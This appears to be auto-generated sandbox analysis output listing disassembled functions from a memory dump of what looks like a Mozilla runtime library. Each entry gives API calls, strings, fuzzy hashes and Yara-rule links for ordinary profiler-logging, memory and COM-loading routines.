Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 9b62c9dd3834955d1d3427146629617a28f38e56bf46a0f8c7e94a77e57b5780
Instruction ID: 562b38000ec90cb06b027b801ca9b10a774b8dc5bf96cd08ef6e7c3b257a77b0
Opcode Fuzzy Hash: 9b62c9dd3834955d1d3427146629617a28f38e56bf46a0f8c7e94a77e57b5780
Instruction Fuzzy Hash: BB21D5B07402186FEB11AA688C49FFF73BCDFC6704F054528F6459B5C0D6789D9487A2

Function 6C53F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52CBE8: GetCurrentProcess.KERNEL32(?,6C4F31A7), ref: 6C52CBF1
Part of subcall function 6C52CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4F31A7), ref: 6C52CBFA

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C53F598), ref: 6C53F621

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

GetCurrentThreadId.KERNEL32 ref: 6C53F637
AcquireSRWLockExclusive.KERNEL32(6C57F4B8,?,?,00000000,?,6C53F598), ref: 6C53F645
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8,?,?,00000000,?,6C53F598), ref: 6C53F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C53F62A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: d44e70a144e855ee8e266c61a5704b24cc29bbe44842ff9de8a4358a75af3bde
Instruction ID: 74aaaee1ab01756217a95f08eb2f7c91a71a6acf2fc3354caeca19b938b76273
Opcode Fuzzy Hash: d44e70a144e855ee8e266c61a5704b24cc29bbe44842ff9de8a4358a75af3bde
Instruction Fuzzy Hash: D011C171201224EBCB04EF58CD489A577BAFB86368B511155EA0983F02DB72AC61CBB4

Function 6C502070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

LoadLibraryW.KERNEL32(combase.dll,6C501C5F), ref: 6C5020AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5020CD
__Init_thread_footer.LIBCMT ref: 6C5020E1
FreeLibrary.KERNEL32 ref: 6C502124

Strings

CoInitializeSecurity, xrefs: 6C5020C7
combase.dll, xrefs: 6C5020A9

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: b3cb17bf2dd74850f2b4d677093da23a4495cfae153fbe2637057e578194cdb1
Instruction ID: 8ae52aaedc211fdfda157edfb9c01de323c0cefe7047055f0f574e6ce8cd22a0
Opcode Fuzzy Hash: b3cb17bf2dd74850f2b4d677093da23a4495cfae153fbe2637057e578194cdb1
Instruction Fuzzy Hash: 56216876200219EFDF12DF55DC48E9A3BBAFB4A328F124215FE0492651D73198A1CFA5

Function 6C5576C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5576F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C557705

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C557717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C55778F,00000000,00000000,00000000,00000000), ref: 6C557731
free.MOZGLUE(00000000), ref: 6C557760

Strings

}>Sl, xrefs: 6C5576C4

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Sl
API String ID: 2538299546-1131826211
Opcode ID: 0c988607f9c755d23f11a1dfd153c9dcdb9d4500a66b4f109e9c190b90e05c91
Instruction ID: 3457bcc14bdfa0bb181ff6072a2620c097052502d12998bda007c4e31c6d1308
Opcode Fuzzy Hash: 0c988607f9c755d23f11a1dfd153c9dcdb9d4500a66b4f109e9c190b90e05c91
Instruction Fuzzy Hash: 0C11B6B1914315AFEB10AF769C44B6B7EE8EF45354F044529F848D7300E7709C5087E2

Function 6C501FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C501FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C501FFD
__Init_thread_footer.LIBCMT ref: 6C502011
FreeLibrary.KERNEL32 ref: 6C502059

Strings

CoCreateInstance, xrefs: 6C501FF7
combase.dll, xrefs: 6C501FD9

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 028fb501cf20075f7e37b2353950e2dde9ffa9a6436e6f93f391c3bff43d78a9
Instruction ID: c239e247b18e67468356afcfa1b380a2af3bb8a1648893414a5ba63ad46cdc8f
Opcode Fuzzy Hash: 028fb501cf20075f7e37b2353950e2dde9ffa9a6436e6f93f391c3bff43d78a9
Instruction Fuzzy Hash: 00113A75301224EFEF21DF15CC5CEAA3B79EB86359F114229ED0592651D7319880CBB5

Function 6C500EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C52D9F0,00000000), ref: 6C500F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C500F3C
__Init_thread_footer.LIBCMT ref: 6C500F50
FreeLibrary.KERNEL32(?,6C52D9F0,00000000), ref: 6C500F86

Strings

CoInitializeEx, xrefs: 6C500F36
combase.dll, xrefs: 6C500F18

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 63e700afdd265b66201bf1592cf01d2ec5da9a856e6114c20c0dac9abcd1385f
Instruction ID: 2824b74223904e9de9cf0e62a3dc3ecdf1acb8d52720ecd0ca5ee31e1909435e
Opcode Fuzzy Hash: 63e700afdd265b66201bf1592cf01d2ec5da9a856e6114c20c0dac9abcd1385f
Instruction Fuzzy Hash: 20115EB47052609BDF11DF54CD08E5A37B4FB8A326B02472AED05D2B82DB30A485CB79

Function 6C53F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53F561

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

GetCurrentThreadId.KERNEL32 ref: 6C53F577
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F585
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C53F499
[I %d/%d] profiler_resume, xrefs: 6C53F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C53F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C53F3A8

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: bd438deb6e2fe56ad932ed0cad60e1454481f62ff163997207739ea970ed57b1
Instruction ID: abbb30d707555d85800bcb43d2ba7819e8b550ed5d1c9b3bdd1fc03b803e0e4b
Opcode Fuzzy Hash: bd438deb6e2fe56ad932ed0cad60e1454481f62ff163997207739ea970ed57b1
Instruction Fuzzy Hash: 38F030B66002249BDB01AF659C4CA5A77BDFB862ADF010155FA0983702EB754C858679

Function 6C500E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C500DF8), ref: 6C500E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C500EA1
__Init_thread_footer.LIBCMT ref: 6C500EB5
FreeLibrary.KERNEL32 ref: 6C500EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C500E9B
kernel32.dll, xrefs: 6C500E7D

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 646f3bb500a9c3f23436f83232412303831a6ca1187f038d221a6b7b9c67ccf7
Instruction ID: 2d81c8258587ed9b79cbc90b96b0af6d555163655d26201ec8e5150fef3488db
Opcode Fuzzy Hash: 646f3bb500a9c3f23436f83232412303831a6ca1187f038d221a6b7b9c67ccf7
Instruction Fuzzy Hash: 05014F70704391CBDF02DF9ACC14B4233B5F786319F120626D90193B80D778A4C8CAB9

Function 6C53F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C53F598), ref: 6C53F621

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

GetCurrentThreadId.KERNEL32 ref: 6C53F637
AcquireSRWLockExclusive.KERNEL32(6C57F4B8,?,?,00000000,?,6C53F598), ref: 6C53F645
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8,?,?,00000000,?,6C53F598), ref: 6C53F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C53F62A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: e54cd4e0237b6db81fb30d3018dfeba1043638efd10350e454f8bb00c5c0d8fa
Instruction ID: 0dfce7bbf70a6c85169a31a8c55815ba9f1cc5373069c40b785a9c1085346558
Opcode Fuzzy Hash: e54cd4e0237b6db81fb30d3018dfeba1043638efd10350e454f8bb00c5c0d8fa
Instruction Fuzzy Hash: 3DF030B5200224ABDB016B658C4CA5A777DFBC62ADF010155FA0983751DB764C858A79

Function 6C5305F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C52CFAE,?,?,?,6C4F31A7), ref: 6C5305FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C52CFAE,?,?,?,6C4F31A7), ref: 6C530616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4F31A7), ref: 6C53061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4F31A7), ref: 6C530627

Strings

<jemalloc>, xrefs: 6C5305FA, 6C53060F
: (malloc) Error in VirtualFree(), xrefs: 6C53061B, 6C530625

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 608222deb177ad5a5cd80d61e2b267d6459a9b180c35ce7c74639bc3c3325842
Instruction ID: e36cdca84f8dd4412cb2e0a63b71ca3b0117ce52cc21766577b8cd997710a30e
Opcode Fuzzy Hash: 608222deb177ad5a5cd80d61e2b267d6459a9b180c35ce7c74639bc3c3325842
Instruction Fuzzy Hash: 99E08CE2A0116037F914225AAC86DBB761CDBC6534F080039FD0D83701EA4ABD1A51F6

Function 6C5005F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74d1597370f5f2f4427436d32f4ab50345d7124e9f15c4d4ac30247a25edc770
Instruction ID: ac41d5c87eb0cdd0a019decf087e5b78d4a7547492940ba3aa3241506256af87
Opcode Fuzzy Hash: 74d1597370f5f2f4427436d32f4ab50345d7124e9f15c4d4ac30247a25edc770
Instruction Fuzzy Hash: 51A14970A01655CFDB24CF29C994A9AFBF1BF89304F44866ED44A97B41E730A985CFA0

Function 6C5514A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5514C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5514E2
GetCurrentThreadId.KERNEL32 ref: 6C551546
InitializeConditionVariable.KERNEL32(?), ref: 6C5515BA
free.MOZGLUE(?), ref: 6C5516B4

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 289e226b49db1af7fbc3c7f961a096b43bca3b06ef3e19754a25405f50e2de69
Instruction ID: af23b6cae5b60ba35e5e645d84502363acf9801cdc05c697d6f2102107dc82ef
Opcode Fuzzy Hash: 289e226b49db1af7fbc3c7f961a096b43bca3b06ef3e19754a25405f50e2de69
Instruction Fuzzy Hash: BD61CE71A00710DBDB118F24CC80B9BBBB1BF89308F85951DED8A57601EB30E999CB91

Function 6C549F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C549FDB
free.MOZGLUE(?,?), ref: 6C549FF0
free.MOZGLUE(?,?), ref: 6C54A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C54A0BE
free.MOZGLUE(?,?), ref: 6C54A0D5
free.MOZGLUE(?,?), ref: 6C54A0EB

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6b1cd1e0dc11ad0ce87e45aaa80a398dd9ed8a0f600caae4265ad71f11be6f2b
Instruction ID: 8d4634c4121479c3621ae0b12227cb07e6f8c5def21f34537146142f48bade8c
Opcode Fuzzy Hash: 6b1cd1e0dc11ad0ce87e45aaa80a398dd9ed8a0f600caae4265ad71f11be6f2b
Instruction Fuzzy Hash: 17619075908641DFD751CF18C88059AB3F5FFC8328F548669E8999BB02EB31E986CBC1

Function 6C54DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C54D38A,?), ref: 6C54DC6F
free.MOZGLUE(?,?,?,?,?,6C54D38A,?), ref: 6C54DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C54D38A,?), ref: 6C54DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C54D38A,?), ref: 6C54DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C54D38A,?), ref: 6C54DD4A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: af2383085b63e181c016802dda00a3dea2d4dcf4151be48fab508de48cc8394e
Instruction ID: 2445be51a33dda8cb536d2ff170b9b124b0318a988435cea0078119d808e5210
Opcode Fuzzy Hash: af2383085b63e181c016802dda00a3dea2d4dcf4151be48fab508de48cc8394e
Instruction Fuzzy Hash: FB415AB5A00615CFCB00CFA9CC84A9ABBF6FF89318B558569D945ABB11D771FC40CBA0

Function 6C54C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54C842

Part of subcall function 6C54CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C56B5EB,00000000), ref: 6C54CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C54C863
std::_Facet_Register.LIBCPMT ref: 6C54C875

Part of subcall function 6C52B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C56B636,?), ref: 6C52B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54C8BC

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

